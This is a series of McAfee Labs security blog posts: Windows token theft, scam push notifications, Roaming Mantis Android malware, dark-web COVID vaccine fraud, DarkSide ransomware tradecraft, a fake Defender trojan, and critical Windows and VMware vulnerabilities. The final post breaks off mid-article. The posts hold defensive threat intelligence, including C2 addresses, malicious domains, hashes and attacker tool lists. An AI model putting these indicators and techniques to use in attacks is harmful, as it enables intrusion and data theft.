Executive Summary

Many malware attacks designed to inflict damage on a network are armed with lateral movement capabilities. Post initial infection, such malware would usually need to perform a higher privileged task or execute a privileged command on the compromised system to be able to further enumerate the infection targets and compromise more systems on the network. Consequently, at some point during its lateral movement activities, it would need to escalate its privileges using one or the other privilege escalation techniques. Once malware or an attacker successfully escalates its privileges on the compromised system, it will acquire the ability to perform stealthier lateral movement, usually executing its tasks under the context of a privileged user, as well as bypassing mitigations like User Account Control.

Process access token manipulation is one such privilege escalation technique which is widely adopted by malware authors. These set of techniques include process access token theft and impersonation, which eventually allows malware to advance its lateral movement activities across the network in the context of another logged in user or higher privileged user.

When a user authenticates to Windows via console (interactive logon), a logon session is created, and an access token is granted to the user. Windows manages the identity, security, or access rights of the user on the system with this access token, essentially determining what system resources they can access and what tasks can be performed. An access token for a user is primarily a kernel object and an identification of that user in the system, which also contains many other details like groups, access rights, integrity level of the process, privileges, etc. Fundamentally, a user’s logon session has an access token which also references their credentials to be used for Windows single sign on (SSO) authentication to access the local or remote network resources.

Once the attacker gains an initial foothold on the target by compromising the initial system, they would want to move around the network laterally to access more resource or critical assets. One of the ways for an attacker to achieve this is to use the identity or credentials of already logged-on users on the compromised machine to pivot to other systems or escalate their privileges and perform the lateral movement in the context of another logged on higher privileged user. Process access token manipulation helps the attackers to precisely accomplish this goal.

For our YARA rule, MITRE ATT&CK techniques and to learn more about the technical details of token manipulation attacks and how malware executes these attacks successfully at the code level, read our complete technical analysis here.

Coverage

McAfee On-Access-Scan has a generic detection for this nature of malware  as shown in the below screenshot:

Additionally, the YARA rule mentioned at the end of the technical analysis document can also be used to detect the token manipulation attacks by importing the rule in the Threat detection solutions like McAfee Advance Threat Defence, this behaviour can be detected.

Summary of the Threat

Several types of malware and advanced persistent threats abuse process tokens to gain elevated privileges on the system. Malware can take multiple routes to achieve this goal. However, in all these routes, it would abuse the Windows APIs to execute the token stealing or token impersonation to gain elevated privileges and advance its lateral movement activities.

• If the current logged on user on the compromised or infected machine is a part of the administrator group of users OR running a process with higher privileges (e.g., by using “runas” command), malware can abuse the privileges of the process’s access token to elevate its privileges on the system, thereby enabling itself to perform privileged tasks.
• Malware can use multiple Windows APIs to enumerate the Windows processes running with higher privileges (usually SYSTEM level privileges), acquire the access tokens of those processes and start new processes with the acquired token. This results in the new process being started in the context of the user represented by the token, which is SYSTEM.
• Malware can also execute a token impersonation attack where it can duplicate the access tokens of the higher privileged SYSTEM level process, convert it into the impersonation token by using appropriate Windows functionality and then impersonate the SYSTEM user on the infected machine, thereby elevating its privileges.
• These token manipulation attacks will allow malware to use the credentials of the current logged on user or the credentials of another privileged user to authenticate to the remote network resource, leading to advancement of its lateral movement activities.
• These attack techniques allows malware to bypass multiple mitigations like UAC, access control lists, heuristics detection techniques and allowing malware to remain stealthier while moving laterally inside the network.

Access Token Theft and Manipulation Attacks – Technical Analysis

Access Token Theft and Manipulation Attacks – A Door to Local Privilege Escalation.

Read Now

The post Access Token Theft and Manipulation Attacks – A Door to Local Privilege Escalation appeared first on McAfee Blog.

McAfee is tracking an increase in the use of deceptive popups that mislead some users into taking action, while annoying many others.  A significant portion is attributed to browser-based push notifications, and while there are a couple of simple steps users can take to prevent and remediate the situation, there is also some confusion about how these should be handled.

How does this happen?

In many cases scammers use deception to trick users into Allowing push notifications to be delivered to their system.

In other cases, there is no deception involved.  Users willingly opt-in uncoerced.

What happens next?

After Allowing notifications, messages quickly start being received.  Some sites send notifications as often as every minute.

Many messages are deceptive in nature.  Consider this fake alert example.  Clicking the message leads to an imposter Windows Defender alert website, complete with MP3 audio and a phone number to call.

In several other examples, social engineering is crafted around the McAfee name and logo.  Clicking on the messages lead to various websites informing the user their subscription has expired, that McAfee has detected threats on their system, or providing direct links to purchase a McAfee subscription.  Note that “Remove Ads” and similar notification buttons typically lead to the publishers chosen destination rather than anything that would help the user in disabling the popups.  Also note that many of the destination sites themselves prompt the user to Allow more notifications.  This can have a cascading effect where the user is soon flooded with many messages on a regular basis.

How can this be remediated?

First, it’s important to understand that the representative images provided here are not indications of a virus infection.  It is not necessary to update or purchase software to resolve the matter.  There is a simple fix:

1. Note the name of the site sending the notification in the popup itself. It’s located next to the browser name, for example:

Example popup with a link to a Popup remover

2. Go to your browser settings’ notification section

• For Chrome, go here: chrome://settings/content/notifications
• For Edge, go here: edge://settings/content/notifications

3. Search for the site name and click the 3 dotes next to the entry.

Chrome’s notification settings

4. Select Block

Great, but how can this be prevented in the future?

The simplest way is to carefully read such authorization prompts and only click Allow on sites that you trust.  Alternatively, you can disable notification prompts altogether.

As the saying goes, an ounce of prevention is worth a pound of cure.

What other messages should I be on the lookout for?

While there are thousands of various messages and sites sending them, and messages evolve over time, these are the most common seen in April 2021:

• Activate Protection Now?|Update Available: Antivirus
• Activate your free security today – Download now|Turn On Windows Protection
• Activate your McAfee, now! |Click here to review your PC protection
• Activate your Mcafee, now! |Reminder From McAfee
• Activate your Norton, now! |Click here to review your PC protection
• Activate Your PC Security |Download your free Windows protection now.
• Antivirus Gratis Installieren|Bestes Antivirus–Kostenlos herunterladen
• Antivirus Protection|Download Now To Protect Your Computer From Viruses & Malware Attacks
• Best Antivirus 2020 – Download Free Now|Install Your Free Antivirus
• Check here with a Free Virus Scan|Is Windows slow due to virus?
• Click here to activate McAfee protection|McAfee Safety Alert
• Click here to activate McAfee protection|Turn on your antivirus
• Click Here To Activate McAfee Protection|Upgrade Your Antivirus
• Click here to activate Norton protection|Turn on your antivirus
• Click here to clean.|System is infected!
• Click here to fix the error|Protect your PC now !
• Click here to fix the error|System alert!
• Click here to protect your data.|Remove useless files advised
• Click Here To Renew Subscription|Viruses Found (3)
• Click here to review your PC protection| Your Mcafee has Expired
• Click here to Scan and Remove Virus|Potential Virus?
• Click To Renew Your Subscription|Viruses Found (3)
• Click to turn on your Norton protection|New (1) Security Notification
• Critical Virus Alert|Turn on virus protection
• Free Antivirus Update is|available.Download and protect system?
• Install Antivirus Now!|Norton – Protect Your PC!
• Install FREE Antivirus now|Is the system under threat?
• Install free antivirus|Protect your Windows PC!
• Jetzt KOSTENLOSES Antivirus installieren|Wird das System bedroht?
• McAfee Safety Alert|Turn on your antivirus now [Activate]
• McAfee Total Protection|Trusted Antivirus and Privacy Protection
• Norton Antivirus|Stay Protected. Activate Now!
• Norton Expired 3 Days Ago! |Renew now to stay protected for your PC!
• PC is under virus threat! |Renew Norton now to say protected
• Protect Your Computer From Viruses| Activate McAfee Antivirus
• Renew McAfee License Now!|Stay Protected. Renew Now!
• Renew McAfee License Now!|Your McAfee Has Expired Today
• Renew Norton License Now!|Your Norton Has Expired Today
• Renew Now For 2021|Your Norton has Expired Today?
• Renew now to stay protected!| Your Mcafee has Expired
• Scan Report Ready|Tap to reveal
• Turn on virus protection|Viruses found (3)
• Your Computer Might be At Risk | Renew Norton Antivirus!

General safety tips

• Scams can be quite convincing. It’s better to be quick to block something and slow to allow than the opposite.
• When in doubt, initiate the communication yourself.
  • Manually enter in a web address rather than clicking a link sent to you.
  • Confirm numbers and addresses before reaching out, such as phone and email.
• McAfee customers utilizing web protection (including McAfee Web Advisor and McAfee Web Control) are protected from known malicious sites.

The post How to Stop the Popups appeared first on McAfee Blog.

The Roaming Mantis smishing campaign has been impersonating a logistics company to steal SMS messages and contact lists from Asian Android users since 2018. In the second half of 2020, the campaign improved its effectiveness by adopting dynamic DNS services and spreading messages with phishing URLs that infected victims with the fake Chrome application MoqHao.

Since January 2021, however, the McAfee Mobile Research team has established that Roaming Mantis has been targeting Japanese users with a new malware called SmsSpy. The malicious code infects Android users using one of two variants depending on the version of OS used by the targeted devices. This ability to download malicious payloads based on OS versions enables the attackers to successfully infect a much broader potential landscape of Android devices.

Smishing Technique

The phishing SMS message used is similar to that of recent campaigns, yet the phishing URL contains the term “post” in its composition.

Japanese message: I brought back your luggage because you were absent. please confirm. hxxps://post[.]cioaq[.]com

Fig: Smishing message impersonating a notification from a logistics company. (Source: Twitter)

Another smishing message pretends to be a Bitcoin operator and then directs the victim to a phishing site where the user is asked to verify an unauthorized login.

Japanese message: There is a possibility of abnormal login to your [bitFlyer] account. Please verify at the following URL: hxxps://bitfiye[.]com

Fig: Smishing message impersonating a notification from a bitcoin operator. (Source: Twitter)

During our investigation, we observed the phishing website hxxps://bitfiye[.]com redirect to hxxps://post.hygvv[.]com. The redirected URL contains the word “post” as well and follows the same format as the first screenshot. In this way, the actors behind the attack attempt to expand the variation of the SMS phishing campaign by redirecting from a domain that resembles a target company and service.

Malware Download

Characteristic of the malware distribution platform, different malware is distributed depending on the Android OS version that accessed the phishing page. On Android OS 10 or later, the fake Google Play app will be downloaded. On Android 9 or earlier devices, the fake Chrome app will be downloaded.

Japanese message in the dialog: “Please update to the latest version of Chrome for better security.”

Fig: Fake Chrome application for download (Android OS 9 or less)

Japanese message in the dialog: “[Important] Please update to the latest version of Google Play for better security!”

Fig: Fake Google Play app for download (Android OS 10 or above)

Because the malicious program code needs to be changed with each major Android OS upgrade, the malware author appears to cover more devices by distributing malware that detects the OS, rather than attempting to cover a smaller set with just one type of malware

Technical Behaviors

The main purpose of this malware is to steal phone numbers and SMS messages from infected devices. After it runs, the malware pretends to be a Chrome or Google Play app that then requests the default messaging application to read the victim’s contacts and SMS messages. It pretends to be a security service by Google Play on the latest Android device. Additionally, it can also masquerade as a security service on the latest Android devices. Examples of both are seen below.

Japanese message: “At first startup, a dialog requesting permissions is displayed. If you do not accept it, the app may not be able to start, or its functions may be restricted.”

Fig: Default messaging app request by fake Chrome app

Japanese message: “Secure Internet Security. Your device is protected. Virus and Spyware protection, Anti-phishing protection and Spam mail protection are all checked.”

Fig: Default messaging app request by fake Google Play app

After hiding its icon, the malware establishes a WebSocket connection for communication with the attacker’s command and control (C2) server in the background. The default destination address is embedded in the malware code. It further has link information to update the C2 server location in the event it is needed. Thus, if no default server is detected, or if no response is received from the default server, the C2 server location will be obtained from the update link.

The MoqHao family hides C2 server locations in the user profile page of a blog service, yet some samples of this new family use a Chinese online document service to hide C2 locations. Below is an example of new C2 server locations from an online document:

Fig: C2 server location described in online document

As part of the handshake process, the malware sends the Android OS version, phone number, device model, internet connection type (4G/Wi-Fi), and unique device ID on the infected device to the C2 server.

Then it listens for commands from the C2 server. The sample we analyzed supported the commands below with the intention of stealing phone numbers in Contacts and SMS messages.

Table: Remote commands via WebSocket

Conclusion

We believe that the ongoing smishing campaign targeting Asian countries is using different mobile malware such as MoqHao, SpyAgent, and FakeSpy. Based on our research, the new type of malware discovered this time uses a modified infrastructure and payloads. We believe that there could be several groups in the cyber criminals and each group is developing their attack infrastructures and malware separately. Or it could be the work of another group who took advantage of previously successful cyber-attacks.

McAfee Mobile Security detects this threat as Android/SmsSpy and alerts mobile users if it is present and further protects them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

Appendix – IoC

C2 Servers:

• 168[.]126[.]149[.]28:7777
• 165[.]3[.]93[.]6:7777
• 103[.]85[.]25[.]165:7777

Update Links:

• r10zhzzfvj[.]feishu.cn/docs/doccnKS75QdvobjDJ3Mh9RlXtMe
• 0204[.]info
• 0130one[.]info
• 210302[.]top
• 210302bei[.]top

Phishing Domains:

Sample Hash information:

The post Roaming Mantis Amplifies Smishing Campaign with OS-Specific Android Malware appeared first on McAfee Blog.

Preface

Countries all over the world are racing to achieve so-called herd immunity against COVID-19 by vaccinating their populations. From the initial lockdown to the cancellation of events and the prohibition of business travel, to the reopening of restaurants, and relaxation of COVID restrictions on outdoor gatherings, the vaccine rollout has played a critical role in staving off another wave of infections and restoring some degree of normalcy. However, a new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world. As a result, illegal COVID-19 vaccines and vaccination records are in high demand on darknet marketplaces.

The impact on society is that the proliferation of fraudulent test results and counterfeit COVID-19 vaccine records pose a serious threat to public health and spur the underground economy. Individuals undoubtedly long to return to their pre-pandemic routines and the freedom of travel and behavior denied them over the last year. However, the purchase of false COVID-19 test certifications or vaccination cards to board aircraft, attend an event or enter a country endangers themselves, even if they are asymptomatic. It also threatens the lives of other people in their own communities and around the world. Aside from the collective damage to global health, darknet marketplace transactions encourage the supply of illicit goods and services. The underground economy cycle continues as demand creates inventory, which in turn creates supply. In addition to selling COVID-19 vaccines, vaccination cards, and fake test results, cybercriminals can also benefit by reselling the names, dates of birth, home addresses, contact details, and other personally indefinable information of their customers. 

Racing Toward a Fully Vaccinated Society Along with a Growing Underground Vaccine Market

As we commemorate the one-year anniversary of the COVID-19 pandemic, at least 184 countries and territories worldwide have started their vaccination rollouts.[1] The United States is vaccinating Americans at an unprecedented rate. As of May 2021, more than 105 million Americans had been fully vaccinated. The growing demand has made COVID-19 vaccines the new “liquid gold” in the pandemic era.

However, following vaccination success, COVID-19 related cybercrime has increased. COVID-19 vaccines are currently available on at least a dozen darknet marketplaces. Pfizer-BioNTech COVID-19 vaccines (and we can only speculate as to whether they are genuine or a form of liquid “fool’s gold”) can be purchased for as little as $500 per dose from top-selling vendors. These sellers use various channels, such as Wickr, Telegram, WhatsApp and Gmail, for advertising and communications. Darknet listings associated with alleged Pfizer-BioNTech COVID-19 vaccines are selling for $600 to $2,500. Prospective buyers can receive the product within 2 to 10 days. Some of these supposed COVID-19 vaccines are imported from the United States, while others are packed in the United Kingdom and shipped to every country in the world, according to the underground advertisement.

Figure 1: Dark web marketplace offering COVID-19 vaccines

Figure 2: Dark web marketplace offering COVID-19 vaccines

A vendor sells 10 doses of what they claim to be Moderna COVID-29 vaccines for $2,000. According to the advertisement, the product is available to ship to the United Kingdom and worldwide.

Figure 3: Dark web marketplace offering COVID-19 vaccines

Besides what are claimed to be COVID-19 vaccines, cybercriminals offer antibody home test kits for $152 (again, we do not know whether they are genuine or not). According to the advertisement, there are various shipping options available. It costs $41 for ‘stealth’ shipping to the United States, $10.38 to ship to the United Kingdom, and $20 to mail the vaccines internationally.

Figure 4: Dark web marketplace offering COVID-19 test kits

Proof of Vaccination in the Underground Market

On the darknet marketplaces, the sales of counterfeit COVID-19 test results and vaccination certificates began to outnumber the COVID vaccine offerings in mid-April. This shift is most likely because COVID-19 vaccines are now readily available for those who want them. People can buy and show these certificates without being vaccinated. A growing number of colleges will require students to have received a COVID-19 vaccine before returning to in-person classes by this fall.[2] Soon, COVID-19 vaccination proof is likely to become a requirement of some type of “passport” to board a plane or enter major events and venues.

The growing demand for proof of vaccination is driving an illicit economy for fake vaccination and test certificates. Opportunistic cybercriminals capitalize on public interest in obtaining a COVID-19 immunity passport, particularly for those who oppose COVID-19 vaccines or test positive for COVID-19 but want to return to school or work, resume travel or attend a public event. Counterfeit negative COVID-19 test results and COVID-19 vaccination cards are available for sale at various darknet marketplaces. Fake CDC-issued vaccination cards are available for $50. One vendor offers counterfeit German COVID-19 certificates for $23.35. Vaccination cards with customized information, such as “verified” batch or lot numbers for particular dates and “valid” medical and hospital information, are also available for purchase.

One darknet marketplace vendor offers to sell a digital copy of the COVID-19 vaccination card with detailed printing instructions for $50.

Figure 5: Dark web marketplace offering COVID-19 vaccination cards

One vendor sells CDC vaccination cards for $1,200 and $1,500, as seen in the following screenshot. These cards, according to the advertisement, can be personalized with details such as the prospective buyer’s name and medical information.

Figure 6: Dark web marketplace offering COVID-19 vaccination cards

Other darknet marketplace vendors offer fake CDC-issued COVID-19 vaccination card packages for $1,200 to $2,500. The package contains a PDF file that buyers can type and print, as well as personalized vaccination cards with “real” lot numbers, according to the advertisement. Prospective buyers can pay $1,200 for blank cards or $1,500 for custom-made cards with valid batch numbers, medical and hospital details.

Figure 7: Dark web marketplace offering COVID-19 vaccination cards

One vendor offers counterfeit negative COVID-19 test results and vaccine passports to potential buyers.

Figure 8: Dark web marketplace offering negative COVID-19 test results and vaccination cards

A seller on another dark web market sells five counterfeit German COVID-19 certificates for $23.35. According to the advertisement below, the product is available for shipping to Germany and the rest of the world.

Figure 9: Dark web marketplace offering German COVID-19 vaccination certificates

Conclusion

The proliferation of fraudulent test results and counterfeit COVID-19 vaccine records on darknet marketplaces poses a significant threat to global health while fueling the underground economy. While an increasing number of countries begin to roll out COVID-19 vaccines and proof of vaccination, questionable COVID vaccines and fake proofs are emerging on the underground market. With the EU and other jurisdictions opening their borders to those who have received vaccinations, individuals will be tempted to obtain false vaccination documents in their drive to a return to pre-pandemic normalcy that includes summer travel and precious time with missed loved ones. Those who buy questionable COVID-19 vaccines or forged vaccination certificates risk their own lives and the lives of others. Apart from the harm to global health, making payments to darknet marketplaces promotes the growth of illegal products and services. The cycle of the underground economy continues as demand generates inventory, which generates supply. These are the unintended consequences of an effective global COVID vaccine rollout. 

[1] https[:]//www.cnn.com/interactive/2021/health/global-covid-vaccinations/

[2] https[:]//www.npr.org/2021/04/11/984787779/should-colleges-require-covid-19-vaccines-for-fall-more-campuses-are-saying-yes

The post “Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards appeared first on McAfee Blog.

Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.

With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.

The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.

At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.

McAfee Network Security Platform (NSP) Protection
Sigset Version: 10.8.21.2
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)

McAfee Knowledge Base Article KB94510:
https://kc.mcafee.com/corporate/index?page=content&id=KB94510

The post Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit appeared first on McAfee Blog.

Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:

• RDP Security Explained: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rdp-security-explained/
• Defending against CUBA Ransomware: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-defenders-blog-cuba-ransomware-campaign/
• Ransomware Defenses: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-defenders-blog-reality-check-for-your-defenses/
• Building Adaptable Security Architecture Against NetWalker: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-defenders-blog-netwalker/
• ENS 10.7 Rolls Back the Curtain on Ransomware: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/

DarkSide Ransomware:  What is it?

As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.

The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.

Coverage and Protection Advice

McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.

Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Early Detection

MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.

Prevention

ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.

ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.

ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

For the latest mitigation guidance, please review:

https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US

Technical Analysis

The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.

As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.

1. Using valid accounts, exploit vulnerabilities on servers or RDP for initial stage
2. Next, establish a beachhead in the victim’s network by using tools like Cobalt-Strike (beacons), RealVNC, RDP ported over TOR, Putty, AnyDesk and TeamViewer. TeamViewer is what we also see back in the config of the ransomware sample:

The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.

As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.

On March 23^rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:

In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.

3. Once a strong foothold has been established, several tools are used by the actors to gain more privileges.

Tools observed:

• Mimikatz
• Dumping LSASS
• IE/FireFox password dumper
• Powertool64
• Empire
• Bypassing UAC

4. Once enough privileges are gained, it is time to map out the network and identify the most critical systems like servers, storage, and other critical assets. A selection of the below tools was observed to have been used in several cases:

• BloodHound
• ADFind
• ADRecon
• IP scan tools
• Several Windows native tools
• PowerShell scripts

Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.

While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:

DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?

Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.

In the code we clearly observe this support:

Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:

Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):

Conclusion

Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.

MITRE ATT&CK Techniques Leveraged by DarkSide:

Data Encrypted for Impact – T1486

Inhibit System Recovery – T1490

Valid Accounts – T1078

PowerShell – T1059.001

Service Execution – T1569.002

Account Manipulation – T1098

Dynamic-link Library Injection – T1055.001

Account Discovery – T1087

Bypass User Access Control – T1548.002

File Permissions Modification – T1222

System Information Discovery – T1082

Process Discovery – T1057

Screen Capture – T1113

Compile After Delivery – T1027.004

Credentials in Registry – T1552.002

Obfuscated Files or Information – T1027

Shared Modules – T1129

Windows Management Instrumentation – T1047

Exploit Public-Facing Application – T1190

Phishing – T1566

External Remote Services – T1133

Multi-hop Proxy – T1090.003

Exploitation for Privilege Escalation – T1068

Application Layer Protocol – T1071

Bypass User Account Control – T1548.002

Commonly Used Port – T1043

Compile After Delivery – T1500

Credentials from Password Stores – T1555

Credentials from Web Browsers – T1555.003

Credentials in Registry – T1214

Deobfuscate/Decode Files or Information – T1140

Disable or Modify Tools – T1562.001

Domain Account – T1087.002

Domain Groups – T1069.002

Domain Trust Discovery – T1482

Exfiltration Over Alternative Protocol – T1048

Exfiltration to Cloud Storage – T1567.002

File and Directory Discovery – T1083

Gather Victim Network Information – T1590

Ingress Tool Transfer – T1105

Linux and Mac File and Directory Permissions Modification – T1222.002

Masquerading – T1036

Process Injection – T1055

Remote System Discovery – T1018

Scheduled Task/Job – T1053

Service Stop – T1489

System Network Configuration Discovery – T1016

System Services – T1569

Taint Shared Content – T1080

Unix Shell – T1059.004

The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blog.

Summary points:

• Scammers are increasingly using Windows Push Notifications to impersonate legitimate alerts
• Recent campaigns pose as a Windows Defender Update
• Victims end up allowing the installation of a malicious Windows Application that targets user and system information

Browser push notifications can highly resemble Windows system notifications.  As recently discussed, scammers are abusing push notifications to trick users into taking action.  This recent example demonstrates the social engineering tactics used to trick users into installing a fake Windows Defender update.  A toaster popup in the tray informs the user of a Windows Defender Update.

Clicking the message takes the user to a fake update website.

The site serves a signed ms-appinstaller (MSIX) package.  When downloaded and run, the user is prompted to install a supposed Defender Update from “Publisher: Microsoft”

After installation, the “Defender Update” App appears in the start menu like other Windows Apps.

The shortcut points to the installed malware: C:\Program Files\WindowsApps\245d1cf3-25fc-4ce1-9a58-7cd13f94923a_1.0.0.0_neutral__7afzw0tp1da5e\bloom\Eversible.exe, which is a data stealing trojan, targeting various applications and information:

• System information (Process list, Drive details, Serial number, RAM, Graphics card details)
• Application profile data (Chrome, Exodus wallet, Ethereum wallet, Opera, Telegram Desktop)
• User data (Credit card, FileZilla)

Am I protected?

• McAfee customers utilizing Real Protect Cloud were proactively protected from this threat due to machine learning.
• McAfee customers utilizing web protection (including McAfee Web Advisor and McAfee Web Control) are protected from known malicious sites.
• McAfee Global Threat Intelligence (GTI) provides protection at Very Low sensitivity

General safety tips

• See: How to Stop the Popups
• Scams can be quite convincing. It’s better to be quick to block something and slow to allow than the opposite.
• When in doubt, initiate the communication yourself.
  • For Windows Updates, click the Start Menu and type “Check For Updates”, click the System Settings link.
  • Manually enter in a web address rather than clicking a link sent to you.
  • Confirm numbers and addresses before reaching out, such as phone and email.

Reference IOCs

• MSIX installer: 02262a420bf52a0a428a26d86aca177796f18d1913b834b0cbed19367985e190
• exe: 0dd432078b93dfcea94bec8b7e6991bcc050e6307cd1cb593583e7b5a9a0f9dc
• Installer source site: updatedefender [dot] online

The post Scammers Impersonating Windows Defender to Push Malicious Windows Apps appeared first on McAfee Blog.

Introduction

Virtualization technology has been an IT cornerstone for organization for years now. It revolutionized the way organizations can scale up IT systems in a heartbeat, allowing then to be more agile as opposed to investing into dedicated “bare-metal” hardware. To the outside untrained eye, it might seem that there are different machines on the network, while in fact all the “separate” machines are controlled by a hypervisor server. Virtualization plays such a big role nowadays that it isn’t only used to spin up servers but also anything from virtual applications to virtual user desktops.

This is something cyber criminals have been noticing too and we have seen an increased interest in hypervisors. After all, why attack the single virtual machine when you can go after the hypervisor and control all the machines at once?

In recent months several high impact CVEs regarding virtualization software have been released which allowed for Remote Code Execution (RCE); initial access brokers are offering compromised VMware vCenter servers online, as well as ransomware groups developing specific ransomware binaries for encrypting ESXi servers.

VMware CVE-2021-21985 & CVE-2021-21986

On the 25^th of May VMware disclosed a vulnerability impacting VMware vCenter servers allowing for Remote Code Execution on internet accessible vCenter servers, version 6.5,6.7 and 7.0. VMware vCenter is a management tool, used to manage virtual machines and ESXi servers.

CVE-2021-21985 is a remote code execution (RCE) vulnerability in the vSphere Client via the Virtual SAN (vSAN) Health Check plugin. This plugin is enabled by default. The combination of RCE and default enablement of the plugin resulted in this being scored as a critical flaw with a CVSSv3 score of 9.8.

An attacker needs to be able to access vCenter over TCP port 443 to exploit this vulnerability. It doesn’t matter if the vCenter is remotely exposed or when the attacker has internal access.

The same exploit vector is applicable for CVE-2021-21986, which is an authentication mechanism issue in several vCenter Server Plug-ins. It would allow an attacker to run plugin functions without authentication. This leads to the CVE being scored as a ‘moderate severity’, with a CVSSv3 score of 6.5.

While writing this blog, a Proof-of-Concept was discovered that will test if the vulnerability exists; it will not execute the remote-code. The Nmap plugin can be downloaded from this location: https://github.com/alt3kx/CVE-2021-21985_PoC.

